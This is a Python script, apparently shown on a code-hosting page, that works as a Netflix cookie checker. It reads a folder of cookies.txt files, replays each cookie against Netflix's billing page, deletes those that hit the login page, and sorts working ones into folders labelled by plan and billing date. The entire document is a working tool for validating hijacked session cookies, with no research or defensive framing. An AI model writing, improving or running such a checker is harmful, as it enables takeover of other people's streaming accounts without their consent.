Spaces:
Running
Running
File size: 3,217 Bytes
4f424b2 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
import re
import requests
from bs4 import BeautifulSoup
from deep_translator import GoogleTranslator
import glob
import os
import shutil
import string
import random
import sys
import time
import json
loginPageCount = 0
membershipCount = 0
noMembershipCount = 0
def parseCookieFile(cookiefile):
x = ""
"""Parse a cookies.txt file and return a dictionary of key value pairs
compatible with requests."""
cookies = {}
with open(cookiefile, 'r') as fp:
for line in fp:
if not re.match(r'^\#', line):
lineFields = line.strip().split('\t')
try:
cookies[lineFields[5]] = lineFields[6]
except:
# print("Invalid cookie")
pass
if x == "fail":
return "fail"
else:
return cookies
def getNetflixInfo(cookiefile):
global loginPageCount
global membershipCount
global noMembershipCount
cookies = parseCookieFile(cookiefile)
# print(cookies)
if cookies != "fail":
print("a")
r = requests.get("https://www.netflix.com/BillingActivity",
cookies=cookies)
print(r.url)
if "login" in r.url:
loginPageCount = loginPageCount+1
print("Login Page")
os.remove(cookiefile)
else:
soup = BeautifulSoup(r.content, "html.parser")
try:
billingDate = soup.find("div", {
"data-uia": "streaming-next-cycle"
}).get_text()
planName = soup.find("div", {"data-uia": "plan-name"}).get_text()
billingDate = GoogleTranslator(source='auto',
target='en').translate(billingDate)
try:
lang = soup.find("html", {"lang": 'en'}).get_text()
lang = "English"
except:
lang = ""
pass
planName = GoogleTranslator(source='auto',
target='en').translate(planName)
print(billingDate + " " + planName + " " + lang)
S = 3
ran = ''.join(
random.choices(string.ascii_uppercase + string.digits, k=S))
try:
os.makedirs("../Membership")
except:
pass
shutil.move(
cookiefile, "../Membership/" + billingDate + " " + planName + " " +
lang + " (" + str(ran) + ").txt")
membershipCount = membershipCount+1
except:
S = 10
ran = ''.join(
random.choices(string.ascii_uppercase + string.digits, k=S))
try:
os.makedirs("../NoMembership")
except:
pass
shutil.move(cookiefile, '../NoMembership/NoMember' + str(ran) + ".txt")
noMembershipCount=noMembershipCount+1
else:
os.remove(cookiefile)
n = 0
try:
os.chdir('./cookies')
except:
print("Cookies folder not found!\nThe name of cookie folder should me 'cookies'.\nClosing in 5 seconds...")
time.sleep(5)
sys.exit()
for fileName in glob.glob("*.txt"):
n += 1
# print(n)
# print(fileName)
getNetflixInfo(fileName)
if n==0:
print("Cookie folder is empty")
os.chdir('../')
print("========================\nInvalid cookies: "+str(loginPageCount)+"\nMembership Cookies: "+str(membershipCount)+"\nValid cookies (no membership): "+str(noMembershipCount)) |